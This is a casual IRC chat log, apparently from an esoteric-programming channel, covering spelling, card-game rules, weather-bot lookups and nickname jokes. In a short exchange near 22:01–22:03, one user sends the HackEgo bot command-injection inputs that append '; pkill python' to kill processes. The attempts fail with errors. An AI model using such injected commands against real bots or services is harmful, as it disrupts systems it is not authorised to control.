10:41:45 <HackEgo> Soulquake \ 3UUBB \ Sorcery \ Return all creatures on the battlefield and all creature cards in graveyards to their owners' hands. \ ARB-R
10:43:30 <shachaf> `culprits wisdom/arothmorphise
10:43:50 <HackEgo> int-e ais523 oerjan elliott boily
10:48:03 <shachaf> `wisdom
10:48:04 <HackEgo> frame//A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean.
10:48:20 <shachaf> HackEgo: I don't know what you mean.
10:48:29 <shachaf> Apparently wisdom entries don't preserve implication either.
11:15:47 <myname> izabera: go with two stones per turn seems to be a thing
11:17:46 -!- Koen_ has joined.
11:26:14 <hppavilion[1]> I want a program that lets me pass 3D objects through 2D space
11:26:16 -!- Koen__ has joined.
11:26:22 <hppavilion[1]> Moving on all axis and rotating
11:26:28 <hppavilion[1]> For various solids
11:26:43 <hppavilion[1]> And, preferably, allows me to do similar things in 4D
11:26:48 <hppavilion[1]> (through 3D)
11:27:04 <hppavilion[1]> I'd hack a program for this, but that's above my knowledge
11:29:01 -!- Koen_ has quit (Ping timeout: 250 seconds).
11:37:05 -!- boily has joined.
11:51:07 -!- iaglium has quit (Ping timeout: 260 seconds).
11:53:06 <boily> `wisdom
11:53:48 <HackEgo> twnh//twnh is dubious hambiguitous help that will or will not be help. It is provided by a toe with no hair.
12:01:39 -!- iaglium has joined.
12:03:31 <b_jonas> `? physiology
12:03:40 <HackEgo> physiology? ¯\(°​_o)/¯
12:03:59 <b_jonas> `learn physiology looks confusingly like psychology when written in English.
12:04:09 <HackEgo> Learned 'physiology': physiology looks confusingly like psychology when written in English.
12:06:43 <boily> b_jellonas. are they hungarianly different?
12:08:30 <b_jonas> boily: yes, because physiology is written with an "f". just like in french.
12:09:17 <boily> itym «physiologie» hth
12:09:36 <b_jonas> Basically, English uses ch AND th AND ph for words from greek, French uses ch AND th but not ph, and Hungarian uses only ch (but sometimes writes it as kh).
12:10:53 <b_jonas> boily: yeah, I dunno, French has "photographie"
12:10:58 <b_jonas> I don't understand how it works
12:12:07 -!- spockers has quit (Remote host closed the connection).
12:12:52 -!- spockers has joined.
12:13:08 <boily> we «ph» just about everything that remotely may have looked Greek somewhere in the past, and a few more to make sure we didn't miss any on the way.
12:14:13 <Koen__> in french we mostly ph anything that we know was a phi, too
12:15:20 <b_jonas> I guess I'm just confused
12:15:47 <Koen__> photographie, physique, ...
12:16:20 <boily> chiropractique...
12:16:30 <b_jonas> yes, and téléphone too
12:16:34 <Koen__> we're not very consistent as to whether ch should be pronounced sh or k in greek words though
12:16:55 <Koen__> chiropractique might be pronounced kiro
12:17:07 <Koen__> even though ch is pronounced sh in mostly every word
12:17:30 <b_jonas> Koen__: and écho is probably pronounced with a k only, or so I hear
12:17:32 -!- Koen__ has changed nick to Koen_.
12:17:40 <Koen_> true
12:17:53 <b_jonas> why isn't that just written as kh instead then?
12:17:57 <b_jonas> I mean, th already works fine
12:18:00 <Koen_> I wouldn't even have thought about this one, if feels natural
12:18:15 <Koen_> we don't use kh at all
12:18:27 <b_jonas> yeah... but you should
12:18:47 <Koen_> we already have c and q for the k sound; the letter k is barely ever used, and kh is never ever used
12:19:06 <boily> we even dropped the «h» from khaki.
12:19:07 <b_jonas> hmm... so qh? that would work too
12:19:12 <Koen_> 'c' is only pronounced k in front of an a, u or o, though
12:19:32 <Koen_> and q is always followed by a silent u, except when it's followed by a nonsilent u
12:19:51 <Koen_> like in piqûre (notice the ^ to emphasis on the u not being silent)
12:20:03 <b_jonas> (or before a consonant)
12:20:20 <Koen_> yes, c is pronounced k before a consonant
12:21:03 <b_jonas> "q is always followed by a silent u" => I don't buy that one, because there are tons of words ending in q, the most common being cinq and coq
12:21:16 <Koen_> and we can always force it to be pronounced s by adding a "cédille": ç
12:21:32 <boily> there's a list for Scrabble players for q-words without qu.
12:21:39 <Koen_> haha
12:21:48 <b_jonas> "piqûre" => I haven't heard of this thing
12:21:55 <Koen_> it means sting
12:22:13 <Koen_> like a bee sting, or a nurse sting
12:22:47 <b_jonas> (hmm, I think there was another common word ending in q but I don't recall which one)
12:22:54 <b_jonas> (cinq is the obvious one, but there was a second)
12:23:45 <boily> https://www.listesdemots.com/motsavecqsansu.htm
12:23:50 <Koen_> http://dict.xmatiere.com/suffixe.php "Les mots français finissant par 'q': cinq, coq, q"
12:24:08 <Koen_> that's your "tons of words ending in q"
12:24:20 <b_jonas> hmm
12:24:38 <Koen_> almost every word in boily's list are imported from arabic languages
12:24:54 <b_jonas> hmm, probably cinq and coq are the only common ones than
12:25:12 <boily> there's qwerty in the list :/
12:25:14 <b_jonas> then
12:25:24 <b_jonas> boily: that's ironic
12:30:13 -!- boily has quit (Quit: FINAL CHICKEN).
12:40:56 -!- copumpkin has joined.
12:51:08 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
13:01:26 -!- bender has quit (Ping timeout: 258 seconds).
13:11:49 -!- bender has joined.
13:47:31 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
13:54:29 <hppavilion[1]> http://www.photoshoprequest.com/ >:)
13:58:29 -!- APic has joined.
13:58:42 <Phantom__Hoover> this is the most astonishing political clusterfuck i've ever seen
14:19:10 -!- moon_ has quit (Quit: Bye).
14:19:25 -!- moon_ has joined.
14:31:52 -!- Sgeo_ has joined.
14:33:46 -!- moon__ has joined.
14:49:19 <b_jonas> Do you use the mercurial vcs? Did it change its official homepage from http://mercurial.selenic.com/ to https://www.mercurial-scm.org/ ? Or is that an attempted takeover after the old homepage is gone?
14:49:39 -!- `^_^v has joined.
14:58:18 <b_jonas> https://packages.debian.org/stretch/mercurial says it's changed
14:58:42 -!- moon___ has joined.
14:58:47 <b_jonas> (why can't urls just live forever at least as a redirect, argh)
14:59:37 -!- moon__ has quit (Ping timeout: 250 seconds).
15:14:41 -!- moon___ has changed nick to moonythedwarf.
15:15:03 -!- moonythedwarf has changed nick to Moonythehuman.
15:20:23 <hppavilion[1]> Phantom__Hoover: Which political clusterfuck in particular?
15:20:31 <hppavilion[1]> Moonythehuman: .................
15:20:32 <Phantom__Hoover> hppavilion[1], brexit
15:20:46 <hppavilion[1]> Phantom__Hoover: Ah, yes, the fucks are clustering this fortnight
15:21:08 * Moonythehuman shouts at hppa villion becauseim in a diffrent chat
15:22:02 <hppavilion[1]> Moonythehuman: Doesn't change anythign
15:24:33 <b_jonas> `wisdom
15:24:51 <HackEgo> hthyh//"hthyh" is a common typo for "tithe".
15:25:04 <b_jonas> `? thyme
15:25:06 <HackEgo> Thyme itself is only an abstract approximation of oregano.
15:25:18 <Moonythehuman> ` oregano
15:25:20 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
15:25:26 <Moonythehuman> `? oregano
15:25:29 <HackEgo> oregano? ¯\(°​_o)/¯
15:26:45 <b_jonas> `? shaffron
15:26:46 <HackEgo> shaffron? ¯\(°​_o)/¯
15:27:45 <b_jonas> `? saffron
15:27:49 <HackEgo> saffron? ¯\(°​_o)/¯
15:28:31 <Moonythehuman> `? time
15:28:33 <HackEgo> time? ¯\(°​_o)/¯
15:35:05 -!- Moonythehuman has quit (Ping timeout: 244 seconds).
15:35:07 -!- moon__ has joined.
15:54:58 -!- bender has quit (Quit: Leaving).
15:57:43 -!- Akaibu has joined.
16:09:49 -!- Akaibu has quit.
16:23:59 <izabera> NOOOOOO
16:24:05 <izabera> SOLARIS DOESN'T HAVE open_memstream()
16:24:08 <izabera> NOOOOOOOOOO
16:24:17 <izabera> i don't want to allocate strings manually!
16:24:19 <izabera> :'(
16:26:28 <izabera> and no fmemopen either :'''(
16:31:09 <moon__> `i got bored and came up with a quick esolang
16:31:21 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: i: not found
16:31:48 -!- copumpkin has joined.
16:31:53 <moon__> Oops
16:32:09 <moon__> http://pastebin.com/VdTCVUS9
16:32:14 <moon__> thats info on it
16:34:21 <hppavilion[1]> Isn't it great when you have a computer problem
16:34:24 <hppavilion[1]> And you can never fix it
16:34:26 <hppavilion[1]> So you give up
16:34:46 <hppavilion[1]> Then a month later you want it again and you google slightly differently and IMMEDIATELY get a response that works on the first try with no hassle?
16:35:02 -!- moon__ has changed nick to moonythehuman.
16:35:17 <moonythehuman> Mhm
16:35:19 <moonythehuman> just a moment
16:35:22 <moonythehuman> im logging in
16:35:25 <moonythehuman> dont yell at me hppavilion[1]
16:35:45 -!- moonythehuman has changed nick to moonythedwarf.
16:35:53 -!- moonythedwarf has changed nick to moon__.
16:39:49 -!- jaboja has joined.
16:40:10 <izabera> WHAT THE ACTUAL FUCK moon__
16:40:15 <izabera> YOU CAN'T KEEP DOING THIS
16:40:20 <moon__> ?
16:40:29 <izabera> STOP CHANGING YOUR GODDAMN NICKNAME
16:40:34 <moon__> o.o
16:40:41 <moon__> Sorry.
16:40:48 -!- Taneb has changed nick to Ngevd.
16:40:50 <izabera> i just wanted to join your fun game
16:40:59 <moon__> which one?
16:41:06 <moon__> what one?
16:41:14 <izabera> the one where hppavilion[1] tells you to stop changing your nickname
16:41:16 <izabera> for reasons
16:41:22 <moon__> oh lol
16:41:24 <Ngevd> Yeah, I don't really understand that
16:41:27 -!- Ngevd has changed nick to atriq.
16:41:48 <hppavilion[1]> atriq: ...I hate you. With a passion.
16:41:59 <atriq> :3
16:42:02 -!- atriq has changed nick to nvd.
16:42:07 -!- moon__ has changed nick to Somebody.
16:42:32 -!- Somebody has changed nick to moonheart08.
16:42:48 -!- moonheart08 has changed nick to moonythedwarf.
16:43:00 -!- moonythedwarf has changed nick to moonythehuman.
16:43:13 <nvd> I think this is enough
16:43:15 -!- moonythehuman has changed nick to moon__.
16:43:15 -!- nvd has changed nick to Taneb.
16:43:20 <moon__> Lol
16:43:22 <moon__> True
16:43:54 <Taneb> `? Ngevd
16:43:58 <HackEgo> m¦ K;¶Ì¤X…ê -F¶9^áÀ¾m‹)®ˆ»Ð*[¯†óE(”ÏY‹NÓs \ ÁΩ¤Q|®‡I7ÓÑS‡µ›‘“nàÁ²ÊÕñVGL"N ’a¦©¥eYƒHù·E¶äí¤œðœj<ˆS£Ege¥Ûj)C+òf!A»[0ÃTúו姵åؽ¸ö${¯–º×éó¶îêía[á]>õVñ&p±ÅN.<ØLF“ÆVÎoz¿]•ºYõ§d`bp£½è;hb-~ð]ü qå¡@ûN0‘Œ©c… ÞÚߺpºiZøŽØí]*êpº;^àÜ̓d•´;1c_¥î'`K&e.ólάj«d¨·).ã‡.L<Ço·L&BtzHÖó­ËÊVô¥Øâ̽öl=Ø-Nßö1ÙÐV‚J´;\¥ÍGÿ¶Ûœ)½lN
16:55:24 -!- moon___ has joined.
16:56:12 -!- moon__ has quit (Ping timeout: 276 seconds).
16:58:48 -!- jaboja has quit (Ping timeout: 276 seconds).
16:59:24 -!- jaboja has joined.
17:00:37 <\oren\> hppavilion[1]: why not add a script to your irc client that displays the username of someone who changed nicks as <oldname/newname>?
17:01:02 <hppavilion[1]> \oren\: Well, obviously because- um...
17:01:35 <\oren\> note that actual usernames can't have / in them, so there's no chance of confusion
17:01:44 <\oren\> *nicks
17:09:06 <hppavilion[1]> \oren\: But what about when I try to \oren\: them?
17:32:09 -!- moon___ has changed nick to moonythedwarf.
17:44:49 <\oren\> remeber the new name is after the /
17:45:54 <b_jonas> clear
17:46:36 <b_jonas> (wrong window)
17:52:36 <zgrep> Hehe.
17:56:47 <quintopia> Taneb: what is the difference between taneb and ngevd? how did you come up with these?
18:00:16 <hppavilion[1]> I somehow wound up at http://www.fearof.net/fear-of-holes-phobia-trypophobia/
18:00:26 <hppavilion[1]> And honestly, the cover image is kind of unsettling
18:00:38 <hppavilion[1]> Probably not real; just a placebo
18:00:39 <hppavilion[1]> But still
18:00:42 <hppavilion[1]> It's fucking weird
18:01:46 <moonythedwarf> No, that flower is real
18:02:01 -!- AnotherTest has joined.
18:02:02 <moonythedwarf> its how those 'hole covered body parts' are made, using that flower as a template
18:04:25 <hppavilion[1]> moonythedwarf: Yeah
18:04:31 <hppavilion[1]> moonythedwarf: But that picture is still unsettling
18:04:56 <moonythedwarf> Lol
18:05:04 <moonythedwarf> Then you have Trypophobia :P
18:06:31 <hppavilion[1]> moonythedwarf: Probably not
18:06:50 <hppavilion[1]> moonythedwarf: Though random statistics I got from the short description on Google Images says 15%, so...
18:07:08 <quintopia> i think most people have it just a little, just like most people are at least a bit averse to snakes and spiders and ticks
18:08:25 <hppavilion[1]> quintopia: Yeah, that's my guess
18:20:03 -!- AnotherTest has quit (Ping timeout: 276 seconds).
18:34:43 -!- AnotherTest has joined.
18:38:38 <myname> you cannot have "a little bit" of a phobia
18:39:01 <int-e> . o O ( I'm afraid you can... *runs* )
18:39:09 -!- Kaynato has joined.
18:39:35 -!- augur has joined.
18:41:55 <int-e> hppavilion[1]: the picture reminds me of ꙮ
18:42:44 <int-e> (Seriously, it's not the holes, its the EYES!)
18:49:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
18:52:48 -!- moonythedwarf has quit (Ping timeout: 244 seconds).
18:53:03 -!- moon__ has joined.
18:56:33 -!- AnotherTest has quit (Ping timeout: 240 seconds).
19:04:39 -!- jaboja has quit (Ping timeout: 264 seconds).
19:05:39 -!- wob_jonas has joined.
19:06:50 <wob_jonas> They're actually printing a S.N.O.T. or BBM in black-bordered land? How's that possible? Did Maro take the son of the rules manager hostage to force him or something?
19:10:13 <wob_jonas> Seriously!
19:23:02 -!- hppavilion[1] has joined.
19:27:26 <\oren\> wob_jonas: Uhh... I have no idea what you're talking about.
19:27:36 <\oren\> `relcome wob_jonas
19:27:43 <wob_jonas> \oren\: M:tG
19:27:53 <wob_jonas> wait, why are you relcoming me?
19:28:00 <HackEgo> wob_jonas: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
19:28:09 <wob_jonas> ARGH! the colors! they hurt
19:28:17 <\oren\> hmmm.... oh, you're b_jonas in diguise!
19:28:37 <wob_jonas> yes
19:28:46 <wob_jonas> I didn't know this counts as a disguise
19:29:03 <\oren\> it is a clever one
19:29:12 <int-e> wob_jonas: the text you wrote served the purpose of disguise better than your nick
19:29:25 <wob_jonas> sure
19:29:35 <int-e> (I also have not clue what that was about...)
19:29:56 <int-e> `? rainbow
19:29:58 <HackEgo> Rainbows are spectral creatures said to be powered by the Daystar.
19:30:24 <\oren\> hmm I think S.N.O.T is some unhinged card
19:30:47 <wob_jonas> yes, S.N.O.T is a famous un-card
19:31:56 <int-e> oh it's b_jonas' gatherer personality
19:32:24 <wob_jonas> and the other card is called B.F.M., not BMM actually
19:36:49 <int-e> too bat the snot thing isn't a real card... it'd be fun to see the oracle card text evolve as people try to stick snots to other player's snots, for example...
19:37:36 <int-e> (sure it becomes a single creature, but who controls it? if it is tapped, will it still be tapped afterwards?)
19:37:39 -!- jaboja has joined.
19:37:58 <wob_jonas> int-e: trying to stick to an opponent's S.N.O.T. is a lesser, problem, can easily be solved be banning that, and that's exactly what they've done in the SNOT they printed. That's not the biggest problem.
19:38:16 <wob_jonas> There are bigger rules difficulties.
19:42:32 <Taneb> quintopia, Taneb I use pretty much everywhere
19:42:38 <Taneb> Ngevd is (more or less) my initials
19:49:17 <wob_jonas> Eg. what happens if Flickerform is attached to a glued new SNOT card, and you use Flickerform's ability on it.
19:49:35 <wob_jonas> Both cards return, but what will Flickerform (and possibly other auras) get attached to?
19:49:48 -!- jaboja has quit (Read error: Connection reset by peer).
19:50:15 <wob_jonas> The rules team has probably already solved most of this with rules specific to SNOT stuff, and it will be in the rules update, but it's opening a huge can of worms.
19:51:51 <wob_jonas> (Gift of Immortality also works instead of Flickerform)
20:00:11 -!- augur has quit (Remote host closed the connection).
20:02:24 <shachaf> @metar KOAK
20:02:24 <lambdabot> KOAK 271853Z 30008KT 10SM CLR 22/11 A3002 RMK AO2 SLP166 T02170106
20:12:04 -!- adu has joined.
20:12:48 <shachaf> `wisdom
20:13:00 <shachaf> Taneb: What is the meaning of Taneb?
20:13:01 <HackEgo> m&ndash;rdalsj&ouml;kull//M&ndash;rdalsj&ouml;kull is a draconic volcano harbouring the secret KATL base.
20:16:17 -!- jaboja has joined.
20:26:19 * ski . o O ( Myrdalsjökull )
20:27:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
20:29:47 <Taneb> shachaf, it means me
20:37:58 -!- iaglium has quit (Ping timeout: 272 seconds).
20:38:56 <olsner> `wisdom
20:38:59 <HackEgo> lord//The way of the Lord is not just.
20:39:03 <olsner> `wisdumb
20:39:04 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: wisdumb: not found
20:39:43 <olsner> (it's "not just"? not just what?)
20:48:27 -!- jaboja has quit (Ping timeout: 264 seconds).
20:54:43 -!- augur has joined.
20:59:26 -!- AnotherTest has joined.
20:59:50 -!- augur has quit (Read error: Connection reset by peer).
21:00:16 -!- augur has joined.
21:00:25 <\oren\> olsner: i think it's the adjective 'just' not the adverb
21:02:19 -!- ^v has quit (Ping timeout: 250 seconds).
21:08:04 -!- ^v has joined.
21:13:15 -!- AnotherTest has quit (Ping timeout: 258 seconds).
21:20:15 -!- moon__ has changed nick to moonythedwarf.
21:21:02 -!- jaboja has joined.
21:28:57 -!- `^_^v has quit (Quit: This computer has gone to sleep).
21:32:39 -!- adu has quit (Quit: adu).
21:51:35 <\oren\> I tried out the Solarized color scheme
21:51:53 <\oren\> I don't like it. I don't like my text looking yellowy
21:53:08 <\oren\> in dark mode, I don't like the fact there is so little contrast
21:53:25 <moonythedwarf> Hbot is now sandboxed and secured
22:01:57 <moonythedwarf> `date' '; pkill python
22:02:33 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: date': not found
22:02:57 <moonythedwarf> `batch -c date' '; pkill python
22:02:58 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: batch: not found
22:03:04 <moonythedwarf> *bash
22:03:06 <moonythedwarf> im stupid
22:03:20 <moonythedwarf> `bash -c date' '; pkill python
22:03:21 <HackEgo> bash: - : invalid option \ Usage:bash [GNU long option] [option] ... \ bash [GNU long option] [option] script-file ... \ GNU long options: \ --debug \ --debugger \ --dump-po-strings \ --dump-strings \ --help \ --init-file \ --login \ --noediting \ --noprofile \ --norc \ --posix \ --protected \ --rcfile \ --restricted \ --verbose \
22:06:23 -!- PinealGlandOptic has joined.
22:25:33 -!- hppavilion[1] has joined.
22:27:54 -!- moon_ has quit (Ping timeout: 244 seconds).
22:28:15 -!- moon_ has joined.
22:28:47 -!- moonythedwarf has quit (Ping timeout: 250 seconds).
22:30:28 -!- zz has joined.
22:30:32 <zz> hi
22:32:49 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client).
22:33:06 <myname> is "he made her duck" actually valid to say if you want to express that a male transformed some girl into a bird? i am missing prepositions in that
22:33:44 <Koen_> well it might mean he conceived her pet duck
22:34:11 <myname> well yeah, it's the point to be ambigious
22:34:16 <Koen_> or that he shot at her and she had to duck
22:34:28 <myname> i found it with 5 different meanings
22:34:32 <Taneb> myname, "he made her a duck" is what you want, or "he made her into a duck"
22:34:44 <Taneb> "he made her duck" means "he made her bend down to avoid some projectile"
22:34:47 <Koen_> pretty sure he made her duck is correct
22:34:58 <Cale> Not into a bird -- without the 'a' in 'a duck' it's just like, duck meat.
22:35:01 <myname> Taneb: it could also mean he prepared a meal for her
22:35:03 <Koen_> well I would be if I was british
22:35:14 <Taneb> myname, yes, that too
22:35:40 <myname> Taneb: it could also mean he used the duck that belonged to her and prepared a meal
22:35:40 <Cale> Yeah, probably referring to the food that was made
22:35:45 <izabera> bud spencer died today
22:35:47 <Cale> (in that case)
22:36:01 <myname> again: the point of it was tp be ambigious
22:36:17 <myname> i am not asking what the meaning is, i wondered because of the last example
22:36:23 <myname> which was transforming
22:36:39 <\oren\> `` perl -e'for$x(30,37,31,33,32,36,34,35){print"\033[${x}m foo \033[1m bar \033[0m\n"}'
22:36:44 <HackEgo> ​[30m foo [1m bar [0m \ [37m foo [1m bar [0m \ [31m foo [1m bar [0m \ [33m foo [1m bar [0m \ [32m foo [1m bar [0m \ [36m foo [1m bar [0m \ [34m foo [1m bar [0m \ [35m foo [1m bar [0m
22:37:20 <\oren\> hackego why did you collapse birght and dark colors into the light color?
22:37:27 -!- Sprocklem has quit (Ping timeout: 276 seconds).
22:37:36 <myname> except for black
22:38:12 <\oren\> myname: it's even inconsistent
22:45:23 -!- moon__ has joined.
22:51:37 -!- lambda-11235 has joined.
22:54:08 -!- PinealGlandOptic has quit (Quit: leaving).
22:55:47 -!- MoALTz has quit (Ping timeout: 244 seconds).
22:58:21 -!- moon___ has joined.
22:58:49 -!- moon_ has quit (Ping timeout: 260 seconds).
22:59:30 -!- moon__ has quit (Ping timeout: 246 seconds).
23:00:32 -!- moon_ has joined.
23:02:54 -!- boily has joined.
23:05:05 <boily> @metar CYUL
23:05:05 <lambdabot> CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT
23:06:34 <boily> @metar CYUL
23:06:35 <lambdabot> CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT
23:06:38 <boily> ...
23:06:56 -!- Etaoin has joined.
23:07:06 <Etaoin> ola
23:07:38 <boily> Hellaoin!
23:07:41 <boily> @metar CYUL
23:07:41 <lambdabot> CYUL 272100Z 21012G18KT 15SM FEW030TCU FEW250 27/20 A2980 RMK TCU2CI1 CI TR SLP091 DENSITY ALT 1600FT
23:07:49 <boily> dammit. y u no update!
23:07:57 -!- zz has left ("Leaving").
23:08:41 <boily> @metar CYUL
23:08:41 <lambdabot> CYUL 272200Z 22009G15KT 30SM FEW030TCU FEW180 28/20 A2978 RMK TCU2AC1 AC TR SLP087 DENSITY ALT 1700FT
23:08:45 <boily> ah, finally!
23:14:22 -!- moon___ has changed nick to moonythehuman.
23:14:42 -!- moonythehuman has changed nick to moonythedwarf.
23:17:08 <\oren\> @metar CYYZ
23:17:08 <lambdabot> CYYZ 272200Z 27013G22KT 15SM FEW085 32/13 A2982 RMK CU2 SLP097 DENSITY ALT 2700FT
23:17:13 <Etaoin> what's that?
23:17:24 <\oren\> a weather reprot
23:17:34 <\oren\> CYYZ means toronto
23:18:55 <\oren\> 32 degrees, ack
23:21:15 <Etaoin> I figured it had to do with airplanes
23:21:21 <Etaoin> cause yyz
23:21:25 <Etaoin> and altitude
23:22:08 <boily> Etaoin: what's your nearest airport?
23:25:35 <hppavilion[1]> Hm... are amendments to the US constitution their own separate body (the important part that lays out the big laws), or are they more like Constitutional Errata? Just changing what the main part of the Constitution already said?
23:26:58 <hppavilion[1]> Oh, huh, here's an interesting thing that should have been obvious that I forgot about
23:27:29 <hppavilion[1]> The president has to have been born a US citizen (not necessarily born /in/ the country- a US citizen parent will generally do too)
23:28:05 <hppavilion[1]> But the line of succession includes positions that do not share this requirement- in fact, the Cabinet or even Speaker of the House can be comprised of non-citizens
23:28:30 <Etaoin> http://www.rijeka-airport.hr/info.asp
23:28:31 <Etaoin> this one
23:28:32 <Etaoin> RJK
23:29:09 <boily> @metar LDRI
23:29:10 <lambdabot> No result.
23:29:13 <boily> wut.
23:29:51 <Etaoin> @metar LRJK
23:29:51 <lambdabot> No result.
23:30:01 <zzo38> The one near my location is CYVR
23:30:03 <zzo38> @metar CYVR
23:30:03 <lambdabot> CYVR 272200Z 29007KT 30SM SCT120 BKN210 24/17 A3012 RMK AC4CC1 SLP200 DENSITY ALT 700FT
23:30:08 <Etaoin> @metar LDRIYDYX
23:30:23 <Etaoin> did it break
23:30:38 <boily> is there weather in Croatia?
23:30:39 <zzo38> ICAO codes are only four letters long; I would not expect it to work if you put eight letters
23:31:04 <hppavilion[1]> Huh, metar supports two different types of airport coe
23:31:05 <hppavilion[1]> *code
23:31:09 <Etaoin> @metar LDZA
23:31:10 <lambdabot> LDZA 272200Z 21003KT 170V260 9999 FEW035 17/15 Q1019 NOSIG
23:31:13 <hppavilion[1]> IATA and ICAO
23:31:29 <Etaoin> that's the airport in the capital some 160 km east
23:31:58 <zzo38> IATA are three letters, so we can try to see if it is work
23:32:07 <zzo38> @metar YVR
23:32:31 <zzo38> It doesn't; you need ICAO codes. (ICAO codes are much better than IATA anyways)
23:33:35 <\oren\> @metar LDLO
23:33:35 <lambdabot> No result.
23:36:00 <\oren\> man, looking at a map, croatia just barely allows bosnia to have a coastline
23:38:34 <hppavilion[1]> @metar MRI
23:38:54 <hppavilion[1]> @massages-crowd
23:38:54 <lambdabot> Unknown command, try @list
23:38:58 <hppavilion[1]> @massages-loud
23:38:58 <lambdabot> oerjan said 19h 32m 3s ago: I believe you can use the Seifert-van Kampen theorem to prove that human noses and mouths cannot be topologically merged hth
23:38:59 <lambdabot> oerjan said 19h 30m 30s ago: (how to split up a human for the theorem is left as an exercise)
23:39:21 <Etaoin> \oren\ I'm not even completely sure why that's the case though ^^
23:39:41 -!- lambda-11235 has quit (Quit: Bye).
23:39:47 <Etaoin> they have Neum, that one lil city on the coast
23:40:32 <hppavilion[1]> @metar PAMR
23:40:33 <lambdabot> PAMR 272153Z 23006KT 10SM FEW110 20/08 A3015 RMK AO2 SLP211 T02000078
23:40:35 <hppavilion[1]> There we go
23:41:20 <Etaoin> @metar ASDF
23:41:20 <lambdabot> No result.
23:41:28 <hppavilion[1]> @taf PAMR
23:41:28 <lambdabot> Maybe you meant: thx faq bf
23:41:43 <hppavilion[1]> So lambdabot, devourer of time, has metar but not taf? lame.
23:41:57 <Etaoin> @metar EBIN
23:41:57 <lambdabot> No result.
23:42:06 <Etaoin> @metar OREN
23:42:07 <lambdabot> No result.
23:42:53 <hppavilion[1]> Etaoin: Is that the ICAO for \oren\'s personal airstrip?
23:43:03 <Etaoin> I'd hope so
23:43:04 <\oren\> If only
23:43:24 <boily> ah, to be able to fly orenair...
23:43:27 <Etaoin> anyone uzing firefox on win10=
23:43:35 <Etaoin> ?
23:43:38 <\oren\> Does Kennedy Space Center have an ICAO code?
23:43:48 <boily> if I had the money, I'd create an airline called Orenair. it sounds strangely good.
23:43:50 <Etaoin> it keeps crashing for me 's why I'm saking
23:44:05 <Etaoin> asking
23:44:27 <\oren\> I use firefox on windows 7 and it works fine
23:44:31 <\oren\> try doing that
23:44:35 <boily> I use FF on Ubuntu, FF on windows 7, and it works fine.
23:44:42 <hppavilion[1]> Etaoin: Who wants to know?
23:44:53 * boily steers Etaoin towards a penguin
23:44:53 <Etaoin> the latest version?
23:45:06 <boily> the very latest.
23:45:23 <Etaoin> I guess it really is cause I overclocked my gpu 😂
23:45:23 <hppavilion[1]> I use FireFly on Windows 10, which is running on Ubuntu inside of DOS on top of a CPU in minecraft
23:45:35 <FireFly> You use me?
23:45:44 <hppavilion[1]> FireFly: Yes; you're my favourite browser
23:45:48 <Etaoin> hot
23:45:53 <hppavilion[1]> Etaoin: No.
23:46:05 <Etaoin> are you ddosing me
23:46:14 <hppavilion[1]> Not at the moment, no
23:46:28 <Etaoin> oh but can you?
23:46:43 <Etaoin> considering I can't forward my ports, can you ddos me?
23:46:46 <hppavilion[1]> Of course, the minecraft CPU is in an implementation of JavaScript (translated, of course, from CoffeeScript II: The Wrath of Khan) running in Netscape
23:46:50 -!- oerjan has joined.
23:46:52 <hppavilion[1]> Etaoin: No, I can't
23:47:03 <Etaoin> drat
23:47:08 * boily thwacks hppavilion[1]. “aaaaaaaaaAAAAAAAAAAAAAAAAAAAH!”
23:47:12 <hppavilion[1]> Etaoin: Why would you want me to anyway?
23:47:16 <hppavilion[1]> boily: What did I do this time?
23:47:48 <hppavilion[1]> Oh, by the way, can we start referring to people who watch too much Fox News as a fandom?
23:47:51 <boily> this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent!
23:48:15 <boily> I shall depart in a huff! I am triggered! exclamation mark!
23:48:24 -!- boily has quit (Quit: INFINITE CHICKEN).
23:48:48 <hppavilion[1]> @tell boily I can't take your exclamation seriously if they end with an exclamation mark but don't start with an inverted question mark hth
23:48:48 <lambdabot> Consider it noted.
23:49:23 <oerjan> shaloily. also shachaf for obvious reasons.
23:49:45 <oerjan> dammit
23:49:47 <Etaoin> how do we refer to the fox news fandom?
23:50:22 <\oren\> "crazy old people"
23:50:23 <oerjan> @tell boily <boily> this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent! <-- running away before i can do my porthello? i agree.
23:50:23 <lambdabot> Consider it noted.
23:51:30 <Etaoin> @tell boily hey boily I just wanted to @tell you something cause everyone else did. I wanted to feel included cause my girlfriend just left me after 2 years
23:51:30 <lambdabot> Consider it noted.
23:55:30 <Koen_> @tell boily terrible and odious? tedious!
23:55:30 <lambdabot> Consider it noted.
23:55:40 <shachaf> sharjan
23:55:50 <hppavilion[1]> sharjan?
23:56:02 <oerjan> Etaoin: are you saying she couldn't stand this channel
23:56:04 <hppavilion[1]> Everyone knows I already won the porthello competition
23:56:34 <Etaoin> oerjan, no it was external factors
23:56:51 <oerjan> good, good ... er wait ...
23:57:50 <Etaoin> I nuked her hometown
23:57:54 <oerjan> hppavilion[1]: we are branching out in order to extinguish hth
23:58:03 <oerjan> Etaoin: that would do it.
23:58:11 <hppavilion[1]> Etaoin: Was it the only way to be sure?
23:58:33 <Etaoin> you can never be too sure
23:58:49 <shachaf> @tell boily this message is secret. please don't @messages-loud it in the channel twh
23:58:49 <lambdabot> Consider it noted.
23:59:03 <oerjan> shachaf: good message
23:59:40 <shachaf> shhhhchaf
2016-06-28
